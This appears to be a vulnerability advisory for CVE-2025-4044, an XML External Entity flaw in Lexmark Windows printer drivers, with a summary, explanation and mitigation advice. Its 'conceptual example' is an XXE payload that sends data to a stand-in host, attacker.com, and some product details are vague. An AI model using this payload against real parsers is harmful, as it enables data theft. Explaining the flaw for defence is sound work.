Overview
The cybersecurity landscape is under a constant threat from various vulnerabilities, and the recently discovered CVE-2025-4044 is no exception. This vulnerability affects numerous Lexmark Printer drivers for Windows and has been identified to cause significant security issues. The problem lies in the improper restriction of XML External Entity (XXE) reference, which could potentially allow an attacker to disclose sensitive information to an arbitrary URL. This vulnerability doesn’t just affect individual users but can potentially impact any organization that uses these Lexmark printer drivers. The severity of this vulnerability is highlighted by its high CVSS severity score, making it a substantial cybersecurity concern.
Vulnerability Summary
CVE ID: CVE-2025-4044
Severity: High (8.2 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Confidentiality Impact (Disclosure of sensitive information)
Affected Products
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Product | Affected Versions
Lexmark Printer Driver | All versions up to and including the current
How the Exploit Works
The exploit primarily targets the XML parsing functionality of the affected Lexmark printer drivers. An attacker could craft and send a specially formatted XML document that includes an entity declaration with a system identifier pointing to an arbitrary URL. When the XML parser processes the document, it may dereference the entity, leading to the disclosure of sensitive information to the specified URL.
Conceptual Example Code
This is a conceptual example of how the vulnerability might be exploited. This example represents an XML document with an entity declaration pointing to an arbitrary URL:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://attacker.com/collect.php?data=..." >]>
<foo>&xxe;</foo>In this example, the XML parser would attempt to replace the entity `&xxe;` with the content found at the URL specified in the entity declaration. If the parser is configured to process entities from untrusted sources, it may send sensitive information to the attacker-controlled URL.
Recommended Mitigation
The best course of action to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These solutions can be configured to detect and prevent the processing of malicious XML documents, effectively reducing the risk of information disclosure.